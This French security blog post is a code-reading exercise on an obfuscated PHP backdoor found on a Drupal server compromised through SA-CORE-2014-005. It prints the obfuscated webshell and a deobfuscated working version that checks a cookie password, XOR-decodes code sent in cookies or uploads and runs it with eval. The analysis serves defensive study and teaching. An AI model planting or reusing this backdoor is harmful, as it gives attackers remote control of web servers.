Makina Blog
Exercice de lecture de code malveillant
Voici un extrait de code malveillant retrouvé sur un serveur "piraté". Ce type de code permet à des individus peu scrupuleux de piloter à distance un ensemble de serveurs compromis, ce qu'on appelle un "botnet". Le code est absolument illisible et il peut être amusant d'essayer de retrouver une version lisible du code à partir de sa version obfusquée.
Durant nos audits de sécurité sur des sites web, il peut nous arriver de tomber sur des bouts de code qui manifestement ne proviennent pas de l'application initiale.
Dans le cas présent, le code se situe dans un fichier PHP déposé sur le serveur en servant de la faille d'injection SQL Drupal SA-CORE-2014-005. En face d'une faille de type injection SQL on aurait pu penser que la plupart des assauts subis sur les sites Drupal auraient été destructifs (destruction de la base de donnée), ou auraient consisté à altérer le contenu du CMS pour y héberger du code malveillant et des accès administrateurs. En réalité la plupart des exploitations automatisées de cette faille consistaient à utiliser la table du routeur interne de Drupal pour lui faire exécuter des commandes. Ces dernières permettent ensuite de déposer des fichiers de ce type sur les répertoires non protégés en écriture du serveur.
Voici donc ce code (notez que d'une version à l'autre on ne retrouve quasiment jamais le même code, l'obfuscation varie à chaque dépôt) :
$rkv='7.XT';$ry='m#%4ha"';$bvbzah='!';##GK$Sj:?G^DA6.8Z@W86bF#uh$B $lpnx^'cdchm';navwkib;$ulw='Sp'^'7E)RJv';vbimh;$qdd='1,WPQ*`8?Q';$vsyzg='$Uf?L]AcYgmO6b,mxcf)R'; $gzhi=0; $huewws='ZMEf0)M^2/1'^'3#,9CL9'; $jxz='Q*eVyhmp:2mp#Ui..7lj8'^'t@c)&/OHI.czQh4';/*R$%1l_+45,AS69?4k"ekeW5*/$eejhlq='ZPm!JA.'^'7';$sbi='US&Ht@v+/HZ(Xi]JwILp5eNKq`+WMv?='; $xtxyf='@3P2#bPK_Z4-.V2'^'%A"]Q="./5FYG8U0hei3}';/*$kw;pYWb&14Z1SQpP)kKdy#&gSlp3=%9Zvqavrzsnbix>>$ncqwwqon*/$xann='d`GzLyFIMy;JlZmrAy/@Q]*{@UIe,C^[';$huewws($xtxyf,$gzhi);$xtxyf($gzhi);nukusd;/*$nb;n*Z;el[IR7GcA3=r1I?jRXgXp)XAU^-x:pt^$bv zmye*/$frfkz='R^21%O?^J?BCG7:';$gcb=$qdd.$bvbzah; 'esf{';##gO9O[|qy&q2na%KQyOOTWU@UbKk9 $nfsu<<'fkgcdxerwoo';'qu3|e|}';udevqh;$gsbny=${'2`j{#(g^2/1'^$ry}; $pdhfoi=$gcb.$rkv^$frfkz;'e!]W}/';$qr=$xann.'&ca5w[{'^$sbi;$bvbzah=$eejhlq.$ulw;/*$ubu;Gpjfxo@]x$6(3urmw&qPkV!/CG&VoE.TX1&He_r,qxwshatcycuu^$fdmktkwq*/##tIM!Ue2PMN.sm*.aw8/69Y^|L$dXd2rC+LPi+ $oexcl='XKwW!5&(KuetU}';$dsi=$gsbny['fhdqqk'];aqxtwx;##Zyl41[g4@YKBAuRc4dSmtUke[KW $ofwp='q:[H?C:Q&=Ns15`';/*$jpsce;ZI9/7fLu"P!|obcewb>>$rclgkpp*/kuvjjs;'%v|5r';if($qr==$bvbzah($dsi)/*$hcc;ln%9lK%13".4Z+;#3U;pPM._h-8&}+Awhxw|$bwco*/){'`}@s';/*7U6#.%-^Mo-aM_QrcrOXWlwO6hVazUiR?+2+_#Cz/("5tGK:ULI3{fA*//*#]Zh@70NXmZ?.qsQr[ MY`c}WxR#b]x(3M.RqmA#CQnFxkmRqJbp@qn^vpwRef;,:5|GxNcxs9jC%*/'TaiG5V1';$gonn^$scid;$oqsyq='"OX}M)+.RPfoVP:=9bQoig5j.`z4C$l9L@fGt^.JA26#Wz,7(VA&MDSs%#rq|=*P.7?W?4q2%Ei[D,Hpj}bQaD5+|xm2p1[5"LE:SlMgl3)XO]tJf8]S#Nj|`r%"r%+dEDZD2tbPWm?O7(wDT9y T%HR$8B;Kj3*be7;moL_#`i(H9+&"J6D0|1IhNMrso';$pzsf=$vdk^'G0`Z#?';$gcat='+629.fMNH%SfP}8Mf';$epueb=')s3}"yD`';$kqpwid='dyypk=o*?Uq;kw1DB';$fxmt='x:S"$_k*3|2yC2!X';/*s**M0W4vw+5?,6&ZT%*/$siplr^$mbvti;$obl='Oez"EtE,?+B48x?dI)`2R$V'.'plcdh';# #oKh:&a1gxadj.BgfKXQO6.|9KUc86lLk.+7x$Wf1` $qxgj|'tzjixadlsdbg';/*i1C8t$avild='bcwatdfvssqaqtiegrhoefn';'rdgpfvxiqpesf';*/'A*80';/*$uzfw;CANf^N(xnzoss|$eirew*/##PLl^ubx6#Ig4q8:pr-"K4[sy% $jqv='}DSH'; '|-Li-K';'4=wd,'; /*lzV9N^/(Y|?&R/SH8OfG591l`?z$fgeou='fjddkwrsviclffs';'lpvrfsthsug';*/$buo='6B$v|=9fE*JT8m_}{'.$qwi; $bzx^'5v3d(Nl%M3w86NYN#P';/*EuVjP`Z[.VO$zszqw='etlrefxkqntklfxdbsormg';'vesouhbbopsqk';*/$fprhqc='(FQY9]G]6mNN3=JI@Ju0/.y/};XR6SNdeiFxT8G&$mQF#%OXF"$H97{Wze;=9nqrHBHuboSFH565%A-R7TBkA`jh37&{5jySW;gghfDnHIF+?0IbG]0#W7BX?4ln7vpF!3*fo]KphMY &[M(#1M&7J&&AV6HcNll+)rh6M((SB4sjMFV}$W)U^l`HtmV,,'.$kqpwid;$kyxser=$oqsyq.$gcat;$rweau='6jqMZO_9xN9c_7A5';$itu=$lbnnp.'aU/5;+0=w?i';$tiv='PoZ.xCVON[}UG[Yp6T/5".,Sxc';$cyfw='6B$v|=9fE*JT8m_}{'^$flz;$fprhqc.='8E!JO3yIQY3UB9]%,@:Zan=Q.1+Z8 Q)D.gS5+LW;?=ORP&8Y8Ma!pY:X=,9NV?7X0Q?Il71';$ojkj=$fprhqc.'Xzyd^y'^$kyxser.'Y)@=:[D+0*Vcvf9@O/^?IJI%BBOsf3H7KQgjO)4T[Xgv*IK)UdZ+yPz=KMUfr^[9G$W`W=8';'Xzyd^y';$ydl=$ydl.'eG]@5kVj'; $tnb='QDH4I-dPieLI'.'iTRmdnP0e';/*/V/V$"|*u;vLhgS+Mc5|%qfemT=`6$bfu='tfklhmahzqstxtarphp';'tpevrgig';*//*q6{#-FR+@;y:tb.c^d{|wqtK%VIX2*VwYiz[*G#?9L:Y/WHV/S}NBCZqbtcj=;i2|T=E^Ay5vD7%T1IWQ3d[pa2KJnJh8i2Zk?*/'1_f?6lD8%`P`TP';$ish=$ish.',F47 &X6j'; $ctvla='51I@O,}SB"';$ynhf=$pdhfoi($uljrv,$ojkj);$ynhf('$3d4nkJ{,$7R=Sk*=7v(,Fw','8;SeOkthLWGo`&M');}/*hzCVJd)X0Cez`YKWTYo"1LjDnDSN=aTNv|M$"hu[!`dbI-T+E-;zBj9K=*//*/pZL#PiM[hCd$@2*hl;A;*K$uDRAH-2;9cy5&x_{)0;pBBP1*/vdobc; ##@e(paixHKJ8GV9fM/dHKN|k=4qJ8j $bwyp($nirpo,$oleia);htcr;'|"VYS/2tNl**HtK3+4aemx;@';'S{!r|.&IsGT';$vxlsu('IQ"(xnIr")QfM{FB');##zorocXE-BB"2gDYlO&;s%P:MSCHNPSisV@5In$p $zwnbp='s%Ob0$qQPFOtvww';$cfdvl('TY[1!Bnmu{8a9oT1','0mm/LzVR1');';5re5mr$5&{fAX';
Analysons ce code
Notez que vous pouvez essayer de retrouver un code utilisable sans lire la solution.
Une des premières choses à faire est de retrouver une indentation lisible. Certaines parties du code sont des blocs de commentaires (/* … */) et d'autres sont des commentaires de ligne ( # … ).
Il faut donc reformater le code source. Vous pouvez par exemple utiliser un site comme www.unphp.net ou http://jonhburn2.freehostia.com/decode/.
Vous obtenez normalement ceci :
$rkv='7.XT';
$ry='m#%4ha"';
$bvbzah='!';
##GK$Sj:?G^DA6.8Z@W86bF#uh$B
$lpnx^ 'cdchm';
navwkib;
$ulw='Sp'^ '7E)RJv';
vbimh;
$qdd='1,WPQ*`8?Q';
$vsyzg='$Uf?L]AcYgmO6b,mxcf)R';
$gzhi=0;
$huewws='ZMEf0)M^2/1'^ '3#,9CL9';
$jxz='Q*eVyhmp:2mp#Ui..7lj8'^ 't@c)&/OHI.czQh4';
/*R$%1l_+45,AS69?4k"ekeW5*/
$eejhlq='ZPm!JA.'^ '7';
$sbi='US&Ht@v+/HZ(Xi]JwILp5eNKq`+WMv?=';
$xtxyf='@3P2#bPK_Z4-.V2'^ '%A"]Q="./5FYG8U0hei3}';
/*$kw;pYWb&14Z1SQpP)kKdy#&gSlp3=%9Zvqavrzsnbix>>$ncqwwqon*/
$xann='d`GzLyFIMy;JlZmrAy/@Q]*{@UIe,C^[';
$huewws($xtxyf,$gzhi);
$xtxyf($gzhi);
nukusd;
/*$nb;n*Z;el[IR7GcA3=r1I?jRXgXp)XAU^-x:pt^$bv
zmye*/
$frfkz='R^21%O?^J?BCG7:';
$gcb=$qdd.$bvbzah;
'esf{';
##gO9O[|qy&q2na%KQyOOTWU@UbKk9
$nfsu<<'fkgcdxerwoo';
'qu3|e|}';
udevqh;
$gsbny=$ {
'2`j{#(g^2/1'^ $ry
};
$pdhfoi=$gcb.$rkv^ $frfkz;
'e!]W}/';
$qr=$xann.'&ca5w[{'^ $sbi;
$bvbzah=$eejhlq.$ulw;
/*$ubu;Gpjfxo@]x$6(3urmw&qPkV!/CG&VoE.TX1&He_r,qxwshatcycuu^$fdmktkwq*/
$oexcl='XKwW!5&(KuetU}';
$dsi=$gsbny['fhdqqk'];
aqxtwx;
##Zyl41[g4@YKBAuRc4dSmtUke[KW
$ofwp='q:[H?C:Q&=Ns15`';
/*$jpsce;ZI9/7fLu"P!|obcewb>>$rclgkpp*/
kuvjjs;
'%v|5r';
if($qr==$bvbzah($dsi)/*$hcc;ln%9lK%13".4Z+;#3U;pPM._h-8&}+Awhxw|$bwco*/) {
'`}@s';
/*7U6#.%-^Mo-aM_QrcrOXWlwO6hVazUiR?+2+_#Cz/("5tGK:ULI3{fA*/
'TaiG5V1';
$gonn^ $scid;
$oqsyq='"OX}M)+.RPfoVP:=9bQoig5j.`z4C$l9L@fGt^.JA26#Wz,7(VA&MDSs%#rq|=*P.7?W?4q2%Ei[D,Hpj}bQaD5+|xm2p1[5"LE:SlMgl3)XO]tJf8]S#Nj|`r%"r%+dEDZD2tbPWm?O7(wDT9y
T%HR$8B;Kj3*be7;moL_#`i(H9+&"J6D0|1IhNMrso';
$pzsf=$vdk^ 'G0`Z#?';
$gcat='+629.fMNH%SfP}8Mf';
$epueb=')s3}"yD`';
$kqpwid='dyypk=o*?Uq;kw1DB';
$fxmt='x:S"$_k*3|2yC2!X';
/*s**M0W4vw+5?,6&ZT%*/
$siplr^ $mbvti;
$obl='Oez"EtE,?+B48x?dI)`2R$V'.'plcdh';
#
#oKh:&a1gxadj.BgfKXQO6.|9KUc86lLk.+7x$Wf1`
$qxgj| 'tzjixadlsdbg';
/*i1C8t$avild='bcwatdfvssqaqtiegrhoefn';'rdgpfvxiqpesf';*/
'A*80';
/*$uzfw;CANf^N(xnzoss|$eirew*/
$jqv='}DSH';
'|-Li-K';
'4=wd,';
/*lzV9N^/(Y|?&R/SH8OfG591l`?z$fgeou='fjddkwrsviclffs';'lpvrfsthsug';*/
$buo='6B$v|=9fE*JT8m_}{'.$qwi;
$bzx^ '5v3d(Nl%M3w86NYN#P';
/*EuVjP`Z[.VO$zszqw='etlrefxkqntklfxdbsormg';'vesouhbbopsqk';*/
$fprhqc='(FQY9]G]6mNN3=JI@Ju0/.y/};XR6SNdeiFxT8G&$mQF#%OXF"$H97{Wze;=9nqrHBHuboSFH565%A-R7TBkA`jh37&{5jySW;gghfDnHIF+?0IbG]0#W7BX?4ln7vpF!3*fo]KphMY
&[M(#1M&7J&&AV6HcNll+)rh6M((SB4sjMFV}$W)U^l`HtmV,,'.$kqpwid;
$kyxser=$oqsyq.$gcat;
$rweau='6jqMZO_9xN9c_7A5';
$itu=$lbnnp.'aU/5;+0=w?i';
$tiv='PoZ.xCVON[}UG[Yp6T/5".,Sxc';
$cyfw='6B$v|=9fE*JT8m_}{'^ $flz;
$fprhqc.='8E!JO3yIQY3UB9]%,@:Zan=Q.1+Z8
Q)D.gS5+LW;?=ORP&8Y8Ma!pY:X=,9NV?7X0Q?Il71';
$ojkj=$fprhqc.'Xzyd^y'^ $kyxser.'Y)@=:[D+0*Vcvf9@O/^?IJI%BBOsf3H7KQgjO)4T[Xgv*IK)UdZ+yPz=KMUfr^[9G$W`W=8';
'Xzyd^y';
$ydl=$ydl.'eG]@5kVj';
$tnb='QDH4I-dPieLI'.'iTRmdnP0e';
/*/V/V$"|*u;vLhgS+Mc5|%qfemT=`6$bfu='tfklhmahzqstxtarphp';'tpevrgig';*/
'1_f?6lD8%`P`TP';
$ish=$ish.',F47
&X6j';
$ctvla='51I@O,}SB"';
$ynhf=$pdhfoi($uljrv,$ojkj);
$ynhf('$3d4nkJ{,$7R=Sk*=7v(,Fw','8;SeOkthLWGo`&M');
}
/*hzCVJd)X0Cez`YKWTYo"1LjDnDSN=aTNv|M$"hu[!`dbI-T+E-;zBj9K=*/
vdobc;
##@e(paixHKJ8GV9fM/dHKN|k=4qJ8j
$bwyp($nirpo,$oleia);
htcr;
'|"VYS/2tNl**HtK3+4aemx;@';
'S{!r|.&IsGT';
$vxlsu('IQ"(xnIr")QfM{FB');
##zorocXE-BB"2gDYlO&;s%P:MSCHNPSisV@5In$p
$zwnbp='s%Ob0$qQPFOtvww';
$cfdvl('TY[1!Bnmu{8a9oT1','0mm/LzVR1');
';5re5mr$5&{fAX';
En recopiant ce code dans un éditeur de code avec support de la coloration syntaxique il est alors relativement aisé de supprimer les commentaires et d'obtenir une version plus courte (ajoutez <?php au besoin en tête du fichier, il est normalement présent mais je l'ai retiré pour ne pas alerter les filtres de ce CMS) :
$rkv='7.XT'; $ry='m#%4ha"'; $bvbzah='!'; $lpnx^ 'cdchm'; navwkib; $ulw='Sp'^ '7E)RJv'; vbimh; $qdd='1,WPQ*`8?Q'; $vsyzg='$Uf?L]AcYgmO6b,mxcf)R'; $gzhi=0; $huewws='ZMEf0)M^2/1'^ '3#,9CL9'; $jxz='Q*eVyhmp:2mp#Ui..7lj8'^ 't@c)&/OHI.czQh4'; $eejhlq='ZPm!JA.'^ '7'; $sbi='US&Ht@v+/HZ(Xi]JwILp5eNKq`+WMv?='; $xtxyf='@3P2#bPK_Z4-.V2'^ '%A"]Q="./5FYG8U0hei3}'; $xann='d`GzLyFIMy;JlZmrAy/@Q]*{@UIe,C^['; $huewws($xtxyf,$gzhi); $xtxyf($gzhi); nukusd; $frfkz='R^21%O?^J?BCG7:'; $gcb=$qdd.$bvbzah; 'esf{'; $nfsu<<'fkgcdxerwoo'; 'qu3|e|}'; udevqh; $gsbny=$ { '2`j{#(g^2/1'^ $ry }; $pdhfoi=$gcb.$rkv^ $frfkz; 'e!]W}/'; $qr=$xann.'&ca5w[{'^ $sbi; $bvbzah=$eejhlq.$ulw; $oexcl='XKwW!5&(KuetU}'; $dsi=$gsbny['fhdqqk']; aqxtwx; $ofwp='q:[H?C:Q&=Ns15`'; kuvjjs; '%v|5r'; if($qr==$bvbzah($dsi)) { '`}@s'; 'TaiG5V1'; $gonn^ $scid; $oqsyq='"OX}M)+.RPfoVP:=9bQoig5j.`z4C$l9L@fGt^.JA26#Wz,7(VA&MDSs%#rq|=*P.7?W?4q2%Ei[D,Hpj}bQaD5+|xm2p1[5"LE:SlMgl3)XO]tJf8]S#Nj|`r%"r%+dEDZD2tbPWm?O7(wDT9y T%HR$8B;Kj3*be7;moL_#`i(H9+&"J6D0|1IhNMrso'; $pzsf=$vdk^ 'G0`Z#?'; $gcat='+629.fMNH%SfP}8Mf'; $epueb=')s3}"yD`'; $kqpwid='dyypk=o*?Uq;kw1DB'; $fxmt='x:S"$_k*3|2yC2!X'; $siplr^ $mbvti; $obl='Oez"EtE,?+B48x?dI)`2R$V'.'plcdh'; $qxgj| 'tzjixadlsdbg'; 'A*80'; $jqv='}DSH'; '|-Li-K'; '4=wd,'; $buo='6B$v|=9fE*JT8m_}{'.$qwi; $bzx^ '5v3d(Nl%M3w86NYN#P'; $fprhqc='(FQY9]G]6mNN3=JI@Ju0/.y/};XR6SNdeiFxT8G&$mQF#%OXF"$H97{Wze;=9nqrHBHuboSFH565%A-R7TBkA`jh37&{5jySW;gghfDnHIF+?0IbG]0#W7BX?4ln7vpF!3*fo]KphMY &[M(#1M&7J&&AV6HcNll+)rh6M((SB4sjMFV}$W)U^l`HtmV,,'.$kqpwid; $kyxser=$oqsyq.$gcat; $rweau='6jqMZO_9xN9c_7A5'; $itu=$lbnnp.'aU/5;+0=w?i'; $tiv='PoZ.xCVON[}UG[Yp6T/5".,Sxc'; $cyfw='6B$v|=9fE*JT8m_}{'^ $flz; $fprhqc.='8E!JO3yIQY3UB9]%,@:Zan=Q.1+Z8 Q)D.gS5+LW;?=ORP&8Y8Ma!pY:X=,9NV?7X0Q?Il71'; $ojkj=$fprhqc.'Xzyd^y'^ $kyxser.'Y)@=:[D+0*Vcvf9@O/^?IJI%BBOsf3H7KQgjO)4T[Xgv*IK)UdZ+yPz=KMUfr^[9G$W`W=8'; 'Xzyd^y'; $ydl=$ydl.'eG]@5kVj'; $tnb='QDH4I-dPieLI'.'iTRmdnP0e'; '1_f?6lD8%`P`TP'; $ish=$ish.',F47 &X6j'; $ctvla='51I@O,}SB"'; $ynhf=$pdhfoi($uljrv,$ojkj); $ynhf('$3d4nkJ{,$7R=Sk*=7v(,Fw','8;SeOkthLWGo`&M'); } vdobc; $bwyp($nirpo,$oleia); htcr; '|"VYS/2tNl**HtK3+4aemx;@'; 'S{!r|.&IsGT'; $vxlsu('IQ"(xnIr")QfM{FB'); $zwnbp='s%Ob0$qQPFOtvww'; $cfdvl('TY[1!Bnmu{8a9oT1','0mm/LzVR1'); ';5re5mr$5&{fAX';
Ce code semble très bizarre, mais il s'agit de code PHP valide. Si vous ouvrez une session PHP interactive avec "php -a" vous pouvez commencer à taper les commandes une par une pour commencer à apercevoir le fonctionnement du code :
$ php -a Interactive mode enabled php > $rkv='7.XT'; php > $ry='m#%4ha"'; php > $bvbzah='!'; php > $lpnx^ 'cdchm'; PHP Notice: Undefined variable: lpnx in php shell code on line 1 php > php > navwkib; PHP Notice: Use of undefined constant navwkib - assumed 'navwkib' in php shell code on line 1 php > $ulw='Sp'^ '7E)RJv'; php > navwkib; PHP Notice: Use of undefined constant navwkib - assumed 'navwkib' in php shell code on line 1
php > var_dump($lpnx); PHP Notice: Undefined variable: lpnx in php shell code on line 1 NULL php > var_dump($ulw); string(2) "d5"
On observe des lignes de code qui génèrent des warnings car elles utilisent des variables inexistantes, la variable lpnx peut être ignorée ainsi que la ligne se servant de cette variable, de même que la ligne navwkib. Le code contient de très nombreuses instructions mortes, qui ne servent à rien. Elles ne sont là que pour rendre plus aléatoire la taille et la structure du code. Nous allons donc devoir retrier un grand nombre de lignes. Mais attention la variable ulw est par contre une vraie variable, qui contient maintenant la chaîne 'd5'. Pour la lisibilité nous pourrions la renommer d5.
Première partie, avant le If
On peut donc par exemple commencer à réécrire le début du code (jusqu'au if) en faisant des rechercher/remplacer sur les variables définies, en les renommant, et en retrouvant quelles sont les chaînes et variables réèllement utilisées.
Sur cette première partie j'obtiens ceci :
$random1='7.XT'; $random2='m#%4ha"'; $string1='!'; $string_d5='d5'; $random3='1,WPQ*`8?Q'; $ini_set='ini_set'; $string_m='m'; $random4='US&Ht@v+/HZ(Xi]JwILp5eNKq`+WMv?='; $error_reporting='error_reporting'; $random5='d`GzLyFIMy;JlZmrAy/@Q]*{@UIe,C^['; $ini_set($error_reporting,0); $error_reporting(0); $random6='R^21%O?^J?BCG7:'; $random7=$random3.$string1; $cookies=$ { '2`j{#(g^2/1'^ $random2 /* => '_COOKIE' */ }; $create_function=$random7.$random1^ $random6; /* => 'create_function' */ $signature = $random5.'&ca5w[{'^ $random4; /* => 13a2890bb1ab430860c0d8d015b2a5af */ $string1=$string_m.$string_d5; # string1 first value overwrite with 'md5' $my_cookie=$cookies['fhdqqk']; if($qr==$string1($my_cookie)) {
Ce qui peut encore être écrit de façon plus claire ainsi :
ini_set('error_reporting',0); error_reporting(0); // used later $create_function='create_function' // Control incoming request has the pass in a cookie if( '13a2890bb1ab430860c0d8d015b2a5af' == md5($_COOKIE['fhdqqk'])) {
Ce qui commence à être beaucoup plus clair. On remarquera l'utilisation de variables contenant des chaînes qui sont des noms de fonctions (pour ini_set et error_reporting). Le script essaye de réduire les messages d'erreur générés dans les logs avec ses premières instructions, seulement l'obfuscation aléatoire du programme a généré des instructions invalides générant des "Notice" avant même le passage de cette désactivation des erreurs.
Seconde partie : après le if
Cette seconde partie contient un grand nombre d'instructions mortes (tout ce qui est après la cloture du if, par exemple).
Une première passe nous permet d'obtenir :
ini_set('error_reporting',0); error_reporting(0); // Control incoming request has the pass in a cookie if( '13a2890bb1ab430860c0d8d015b2a5af' == md5($_COOKIE['fhdqqk'])) { $random1='"OX}M)+.RPfoVP:=9bQoig5j.`z4C$l9L@fGt^.JA26#Wz,7(VA&MDSs%#rq|=*P.7?W?4q2%Ei[D,Hpj}bQaD5+|xm2p1[5"LE:SlMgl3)XO]tJf8]S#Nj|`r%"r%+dEDZD2tbPWm?O7(wDT9y T%HR$8B;Kj3*be7;moL_#`i(H9+&"J6D0|1IhNMrso'; $random2='+629.fMNH%SfP}8Mf'; $random3='dyypk=o*?Uq;kw1DB'; $long_string='(FQY9]G]6mNN3=JI@Ju0/.y/};XR6SNdeiFxT8G&$mQF#%OXF"$H97{Wze;=9nqrHBHuboSFH565%A-R7TBkA`jh37&{5jySW;gghfDnHIF+?0IbG]0#W7BX?4ln7vpF!3*fo]KphMY &[M(#1M&7J&&AV6HcNll+)rh6M((SB4sjMFV}$W)U^l`HtmV,,'.$random3; $random4=$random1.$random2; $long_string.='8E!JO3yIQY3UB9]%,@:Zan=Q.1+Z8 Q)D.gS5+LW;?=ORP&8Y8Ma!pY:X=,9NV?7X0Q?Il71'; $code_string=$long_string.'Xzyd^y'^ $random4.'Y)@=:[D+0*Vcvf9@O/^?IJI%BBOsf3H7KQgjO)4T[Xgv*IK)UdZ+yPz=KMUfr^[9G$W`W=8'; $attack=create_function(NULL,$code_string); $attack('$3d4nkJ{,$7R=Sk*=7v(,Fw','8;SeOkthLWGo`&M'); }
La variable intéressante semble être code_string.
php > var_dump($code_string); string(278) " $ttlsd=(!empty($_FILES["fuw"])) ? file_get_contents($_FILES["fuw"]["tmp_name"]) : $_COOKIE["fuw"]; $zospm=(!empty($_FILES["dwp"])) ? fEs:l4,contents($_FILES["dwp"]["tmp_name"]) : $_COOKIE["dwp"]; $alawuh=base64_decode($ttlsd)^99zx`gZ9xm \JX #py_d_Q"
Nous avons là du code PHP mais il est visiblement cassé (il contient des caractères unicodes très spéciaux à partir de la deuxième ligne, dans la définition de "zospm" et dans la fin de la fonction).
Il faut corriger les chaînes qui contiennent des retours à la ligne (en enlevant ces retours à la ligne).
On obtient alors :
php > var_dump($code_string); string(277) " $ttlsd=(!empty($_FILES["fuw"])) ? file_get_contents($_FILES["fuw"]["tmp_name"]) : $_COOKIE["fuw"]; $zospm=(!empty($_FILES["dwp"])) ? file_get_contents($_FILES["dwp"]["tmp_name"]) : $_COOKIE["dwp"]; $alawuh=base64_decode($ttlsd)^base64_decode($zospm); @eval($alawuh); "
Le code Final
On obtient :
ini_set('error_reporting',0); error_reporting(0); // Control incoming request has the pass in a cookie if( '13a2890bb1ab430860c0d8d015b2a5af' == md5($_COOKIE['fhdqqk'])) { // get first part of encoded php code if (!empty($_FILES["fuw"])) { $fuw = file_get_contents($_FILES["fuw"]["tmp_name"]); } else { $fuw = $_COOKIE["fuw"]; } // get second part if (!empty($_FILES["dwp"])) { $dpw = file_get_contents($_FILES["dwp"]["tmp_name"]); } else { $dpw = $_COOKIE["dwp"]; } // decode_base64 and XOR of the two parts $injected_php_code=base64_decode($fuw)^base64_decode($dpw); // run the attack... @eval($injected_php_code); }
On obtient quelque chose de vraiment plus clair. Le pilotage de ce script demande un mot de passe et nécessite de passer le code à éxécuter en deux parties à xorer ensemble, ces parties sont encodées en base64 et transitent soit via des cookies, soit via des uploads de fichiers temporaires.
La plupart du temps le code éxecuté contiendra les éléments nécessaire à l'infection en série de nouveaux serveurs, en se basant sur les vulnérabilités du moment, de manière à faire augmenter la taille du botnet. Mais ce code pourrait tout aussi bien servir à infecter plus en profondeur le serveur, surtout sur les serveurs qui ne règlent pas les droits en écriture de PHP et qui ne limitent pas la zone d'action de PHP avec open_basedir.
Enfin la dernière utilisation de ce code est son utilité finale, celle qui se vend, servir d'agent d'envoi de spam ou d'agent d'envoi de requêtes HTTP dans une attaque de type DDOS.
Pourquoi cette obfuscation?
Pourquoi autant de circonvolutions dans ce code? Le code lui-même est obscurci pour éviter d'être détecté par des outils recherchant le code malveillant (eval par exemple). Seul le caractère "^" utilisé dans les XOR peut vous permettre de retrouver ces fichiers dans des sources PHP éparses (sachant que ce caractère est aussi utilisé dans des expressions régulières dans du code PHP valide).
Le script lui-même dépend de l'utilisation d'un mot de passe, ceci pour éviter que la backdoor installée soit utilisée par d'autres botnets.
Enfin le code transmis à la backdoor n'est pas seulement encodé en base64 mais aussi transmis en deux parties qui doivent être 'xorées', ceci afin d'éviter la détection par des firewalls avancés capables de détecter du code encodé en base64 dans les transmissions.
Pour aller plus loin
Cet exercice vous a plu ? Découvrez les slides de la présentation du petit déjeuner "Les bases de la sécurité du développement Web"
Formations associées
Formations Outils et bases de données
Formation sécurité web
Paris Du 25 au 27 février 2025
Voir la formationActualités en lien
Migration d'un site Drupal 7 en Drupal 11
Trucs, astuces et "bouts" de code pour migrer votre site web de Drupal 7 à Drupal 11. Compte-rendu d'une conférence donnée au Drupalcamp Rennes 2024.
Varnish et Drupal : gérer un cache anonyme étendu
Le rôle d'un Reverse Proxy Cache Varnish dans une architecture Web (type Drupal).